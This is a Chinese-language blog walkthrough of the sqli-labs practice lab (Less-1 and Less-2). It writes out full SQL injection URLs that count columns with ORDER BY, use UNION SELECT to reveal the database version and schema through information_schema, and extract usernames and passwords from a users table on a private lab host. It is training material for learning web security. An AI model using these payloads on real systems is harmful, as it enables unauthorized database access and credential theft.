sqli-labs

本人才是萌新,看到与本内容相同的文章,纯属意外@无敌的小周,粗来解释一下吧.....略略略
—————————————————————————————————————
废话不多说了,赶紧燥起来~

为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)

    echo "你的 sql 语句是:".$sql."
";

Less-1 基于错误的GET单引号字符型注入

注入点测试
首先在后面加个单引号(当然你要在后面先加?id=一个数字),单引号被自动url编码了

http://192.168.11.112/sqli/Less-1/?id=1'

发现报了sql语句的语法错误,那么应该存在sql注入,因为没过滤单引号,我们就可以闭合单引号来进行注入
报错语句如下:
sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1

第1步首先先查询有几个字段,使用"order by (number)"【因为后面的查询需要用到union,所以这个地方需要猜查询了多少字段】

在这之前首先需要人为的构造sql语句使之闭合,正常进行查询
这里说两种可能遇到的sql语句注释符

1. --【空格】 这里的空格一定要有。
2.#     如果是post注入提交#不用编码也行
有时候需要进行url编码具体的可以自行百度

首先需要知道字段长度为多少,我们可以使用order by 来进行猜测

http://192.168.11.112/sqli/Less-1/?id=1' order by 4 -- %20

报错


EWDED0NYVGT4B3S.png

可以知道前面查询的字段是小于4的

http://192.168.11.112/sqli/Less-1/?id=1' order by 3-- %20

![$UJ9Y{QN~Q)FI3LM89WK.png](http://upload-images.jianshu.io/upload_images/9272355-536b59ab70316983.png?imageMog现在可以知道查询的字段有3个

第2步查看目标字段在哪个位置显示
【因为sqlib中只能显示1组数据,所以我们需要将前面的主查询改为负或者改为一个较大的数,来使前面的查询为空,从而为后面构造的union查询让出地方】

http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,3 --%20
图片.png

第3步 将上面的2,3 进行替换

user()
database()
version()
@@datadir    当前数据库物理地址
@@hostname   这台主机名
@@VERSION   数据库版本
@@version_compile_os  查看操作系统

我这里查询的数据库版本信息和当前数据库

http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,database(),version() --%20
图片.png

现在可以知道数据库版本为5.5.53;当前数据库为 security。
mysql数据库information_schema,他是系统数据库,默认安装完就存在,其中记录的是当前数据库的数据库,表,列(字段),用户权限等信息,下面说一下常用的几个表

  • SCHEMA表存储mysql所有数据库的基本信息,包括数据库名,编码类型,路径等,show databases的结果取之于此。
  • TABLES表:存储mysql 中的表信息,这个表示基本表还是系统表,数据库引擎是什么,表有多少行,创建时间,最后更新时间 show tables from schemaname的结果取之于此
  • COLUMNS表:提供表中的的咧信息,详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,lieder编码类型,列的权限,列的注释等 是show columns form schemaname.tablename的结果取于此表
    接下来查询表名
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --%20
图片.png

可以查询到users表,猜测里面可能有我们想要的账号以及密码
接下来继续查询表中的字段

http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,column_name from information_schema.columns where table_name='users' limit 1,1--%20
图片.png
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1--%20
图片.png

经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码
最后我们可以根据字段直接在users表中进行查询

http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,username,password from users limit 2,1 --%20
图片.png

表里面其他的数据,自行遍历

Less-2(基于错误的GET整型注入)

这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号)

http://192.168.11.112/sqli/Less-2/?id=1 order by 4 --%20

可以知道前面查询的字段是小于4的

http://192.168.11.112/sqli/Less-2/?id=1 order by 3 --%20
图片.png

现在就可以知道查询的字段有3个
查看目标字段在哪个位置上面显示

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,3 --%20
图片.png

第3步 将上面的2,3 进行替换,我这里查询的数据库版本信息和当前数据库

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,database(),version() --%20
图片.png

接下来查询表名

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --%20
图片.png

可以查询到users表,猜测里面可能有我们想要的账号以及密码
接下来继续查询我们想要的表中的字段

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1 --%20
图片.png

经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,username,password from users limit 2,1 -- %20
图片.png

Less-3(基于错误的GET单引号变形字符型注入)

你可能感兴趣的:(sqli-labs)